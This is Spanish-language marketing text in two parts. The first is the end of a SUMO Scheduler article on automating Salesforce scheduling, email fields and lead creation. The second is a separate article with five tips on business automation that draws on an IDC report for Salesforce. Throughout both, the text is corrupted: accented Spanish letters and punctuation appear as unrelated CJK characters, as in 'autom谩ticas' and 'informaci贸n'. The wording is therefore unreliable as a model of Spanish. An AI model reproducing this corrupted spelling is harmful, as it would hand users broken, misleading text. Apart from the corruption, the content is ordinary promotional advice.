Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones autom谩ticas de temas para comunicar la informaci贸n revisada. Esto asegura que los clientes est茅n informados sobre cualquier modificaci贸n en tiempo real, minimizando la confusi贸n o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programaci贸n y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de l铆neas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electr贸nico flexibles para una mayor precisi贸n

La flexibilidad es clave para satisfacer las necesidades 煤nicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electr贸nico para notificaciones personalizadas, sin importar cu谩n complejas sean. Esta personalizaci贸n permite una experiencia m谩s personalizada que cumple con requisitos espec铆ficos, como el cumplimiento normativo o las pol铆ticas internas.

En el contexto de Salesforce, los campos de correo electr贸nico se utilizan para recopilar y almacenar las direcciones de correo electr贸nico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no v谩lidas. Las direcciones de correo electr贸nico recopiladas a trav茅s de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electr贸nico act煤a como una medida confiable de capturar y utilizar informaci贸n de contacto para mejorar el compromiso y mantener canales de comunicaci贸n efectivos.

Los campos de correo electr贸nico de Salesforce pueden mejorar la precisi贸n al garantizar que la informaci贸n de contacto almacenada en CRM est茅 actualizada y sea confiable. Al utilizar campos de correo electr贸nico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electr贸nico espec铆ficas de personas o entidades con precisi贸n. Esto ayuda a eliminar el riesgo de usar direcciones de correo electr贸nico desactualizadas o incorrectas asociadas con otros campos, como informaci贸n de contacto personal o comercial, lo que da como resultado comunicaciones por correo electr贸nico m谩s confiables, tasas de rebote reducidas y precisi贸n de datos mejorada.

Automatice la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva

Las herramientas de programaci贸n nativas de Salesforce permiten a los equipos de ventas automatizar la creaci贸n de clientes potenciales, lo que garantiza una captura precisa de la informaci贸n y los datos demogr谩ficos de los clientes potenciales en el CRM. Al automatizar el proceso de creaci贸n de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisi贸n mejorada y la colaboraci贸n entre las partes interesadas mejoran las tasas de conversi贸n de clientes potenciales y proporcionan datos confiables para informes y an谩lisis.

Para automatizar r谩pidamente la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acci贸n espec铆ficos que deben desencadenar la creaci贸n de clientes potenciales. En este caso, ser铆a la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creaci贸n de clientes potenciales. Especifique los criterios para cu谩ndo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignaci贸n de campos : configure la asignaci贸n de campos para asegurarse de que la informaci贸n relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la informaci贸n de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Aseg煤rese de que todos los campos obligatorios est茅n completos y que el registro de cliente potencial est茅 asociado con la campa帽a o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creaci贸n de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignaci贸n.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatizaci贸n de creaci贸n de clientes potenciales para garantizar su eficacia y precisi贸n. Realice los ajustes o mejoras necesarios en funci贸n de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisi贸n de los datos y mantener un proceso de gesti贸n de clientes potenciales optimizado. Esta automatizaci贸n facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusi贸n:

Los flujos de programaci贸n automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacci贸n del cliente. Al adoptar la automatizaci贸n, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimizaci贸n de los procesos de programaci贸n y el aprovechamiento de los flujos de automatizaci贸n en Salesforce con SUMO Scheduler es una combinaci贸n ganadora para las empresas que buscan optimizar sus operaciones. 隆Adopte la revoluci贸n de la automatizaci贸n hoy e impulse a su equipo de ventas a nuevos niveles de 茅xito!

Haga clic aqu铆 para visitar SUMO Scheduler en Salesforce AppExchange y obtener m谩s informaci贸n sobre el poder de la programaci贸n autom谩tica de autoservicio .

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5 consejos para incorporar la automatizaci贸n en su negocio

5 consejos para incorporar la automatizaci贸n en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatizaci贸n de las tareas rutinarias mejorar铆a su productividad. Sin embargo, el 52% de las empresas todav铆a tienen demasiados procesos y tareas manuales. La automatizaci贸n empresarial puede ser la clave para cerrar esta brecha.

La automatizaci贸n empresarial conduce a clientes leales , empleados m谩s felices, mejor eficiencia y ahorro de costos. 驴Y qu茅 mejor manera de trazar un camino hacia la automatizaci贸n empresarial que aprender de aquellos que ya lo han hecho? 驴No est谩 seguro de por d贸nde empezar con la automatizaci贸n? Esto ayudar谩 .

En un informe para Salesforce , IDC entrevist贸 a m谩s de 1600 l铆deres empresariales y de TI, en varias industrias en Asia, Europa, Am茅rica del Norte y Am茅rica del Sur, sobre c贸mo han tenido 茅xito con la automatizaci贸n en sus empresas. A partir de esta investigaci贸n de IDC, aqu铆 hay cinco consejos que puede usar para ayudar a incorporar la automatizaci贸n en su propia pr谩ctica.

Acelere la automatizaci贸n como los profesionales

Escuche a m谩s de 1600 l铆deres empresariales y de TI de todo el mundo sobre las tendencias de automatizaci贸n y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa
Consejo 2: Cree un centro de automatizaci贸n de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial
Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de m煤ltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un an谩lisis cualitativo, probablemente no sea un buen candidato para la automatizaci贸n. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deber谩 determinar:

  • Qu茅 proceso quieres transformar
  • Cu谩nto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • 驴Cu谩nto m谩s le cuestan las ineficiencias en tiempo extra del personal?
  • 驴Est谩 pagando por env铆os acelerados?
  • 驴Est谩 contabilizando las horas extra de los contratistas?
  • 驴Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deber谩 ingresar a los detalles de su proceso automatizado. Aqu铆 hay algunas preguntas para hacer:

  • 驴C贸mo ser谩 su nuevo proceso?
  • 驴Qui茅n deber铆a estar involucrado?
  • 驴Cu谩nto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatizaci贸n empresarial, es importante seleccionar proveedores con una reputaci贸n estelar en procesos comerciales y automatizaci贸n de flujos de trabajo, que tambi茅n pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • 驴Qu茅 dicen los clientes (o clientes descontentos) sobre las herramientas?
  • 驴Tiene las caracter铆sticas que su equipo necesita para tener 茅xito?
  • 驴Ofrece incorporaci贸n y atenci贸n al cliente durante toda la vida 煤til del servicio?

SUGERENCIA PROFESIONAL: aseg煤rese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificaci贸n extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, est谩 listo para comenzar. Por supuesto, deber谩 probar su nuevo proceso antes de implementarlo. As铆 es como descubrir谩 si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • 驴Cu谩nto tardan los usuarios en completar los flujos de trabajo automatizados?
  • 驴La experiencia del usuario o del cliente est谩 a la altura de sus expectativas?
  • 驴Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatizaci贸n de excelencia

Un centro de excelencia de automatizaci贸n (COE) puede marcar la diferencia en su viaje hacia la transformaci贸n digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatizaci贸n . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

As铆 es como puede configurar su COE de automatizaci贸n para el 茅xito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y est茅n listas para defender las mejoras del proceso. Aseg煤rese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatizaci贸n. Para optimizar su inversi贸n en automatizaci贸n, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatizaci贸n. La automatizaci贸n empresarial no es un evento singular. Cree una hoja de ruta de automatizaci贸n, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobaci贸n de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatizaci贸n . Esta es la parte t谩ctica del trabajo del COE. Identifique los puntos d茅biles, prior铆celos y supervise la automatizaci贸n de procesos.
  5. Mide el 茅xito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son dif铆ciles de encontrar, la acumulaci贸n de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % m谩s en 2023 que en 2022.

La automatizaci贸n de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aqu铆 hay algunos procesos con los que la automatizaci贸n empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementaci贸n de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gesti贸n de activos : aprovisionamiento de activos, desmantelamiento, auditor铆a, informes
  • Gesti贸n de datos : copia de seguridad y redundancia de datos, limpieza de datos

驴Qui茅n debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatizaci贸n:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visi贸n del negocio. Trabajando en estrecha colaboraci贸n con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercializaci贸n con nuestros sistemas a solo d铆as con una nueva experiencia de automatizaci贸n.

Director de la divisi贸n de gesti贸n patrimonial,
servicios financieros

Automatizaci贸n: tendencias, desaf铆os y mejores pr谩cticas , IDC

Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial

El enfoque tradicional de 鈥渃ascada鈥, en el que el an谩lisis, la especificaci贸n, el dise帽o y las pruebas se realizan de forma secuencial, no funciona bien para la automatizaci贸n empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementaci贸n cuando surja un problema grave, como un dise帽o que no se puede escalar.

La metodolog铆a 谩gil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayor铆a de los desarrolladores de software la usan, la metodolog铆a 谩gil no es solo para desarrolladores. Su ciclo continuo de planificaci贸n, ejecuci贸n, evaluaci贸n y mejora se puede aplicar a la automatizaci贸n de procesos comerciales. Una de sus mayores ventajas es que re煤ne equipos multifuncionales que planifican, prueban, implementan y redise帽an procesos automatizados en ciclos de liberaci贸n r谩pida.

C贸digo bajo, mucho tiempo de comercializaci贸n

Elija una plataforma de c贸digo bajo que funcione para usted. Nuestra gu铆a lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

驴A qui茅n no le gusta una integraci贸n empresarial y de TI m谩s estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de c贸digo bajo , un enfoque de desarrollo que requiere poca o ninguna codificaci贸n para crear aplicaciones y procesos, para potenciar la automatizaci贸n.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo c贸digo ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a trav茅s de una interfaz gr谩fica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI est谩 sujeto a presiones o restricciones.

Hay una raz贸n m谩s para optar por el c贸digo bajo. Los esfuerzos de automatizaci贸n empresarial abarcan negocios y TI. Usando c贸digo bajo, los usuarios comerciales pueden trabajar en estrecha colaboraci贸n con TI para desarrollar modelos de datos y l贸gica de procesos con solo hacer clic.

Primeros pasos con la automatizaci贸n empresarial

La automatizaci贸n empresarial no tiene por qu茅 ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatizaci贸n hoy mismo . Al desarrollar un 谩rea, crear un COE, automatizar para sus equipos de TI y usar un enfoque 谩gil y c贸digo bajo, tiene un comienzo saludable para un proceso de automatizaci贸n empresarial exitoso. Ahora ve a automatizar.

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